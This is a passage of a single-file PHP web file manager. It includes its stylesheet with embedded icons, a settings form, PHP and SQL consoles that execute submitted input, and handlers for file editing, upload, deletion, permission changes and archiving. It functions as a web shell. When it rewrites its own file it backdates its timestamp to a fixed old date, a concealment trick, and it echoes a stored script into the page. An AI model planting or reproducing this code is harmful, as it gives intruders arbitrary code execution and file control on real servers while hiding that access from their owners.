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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td 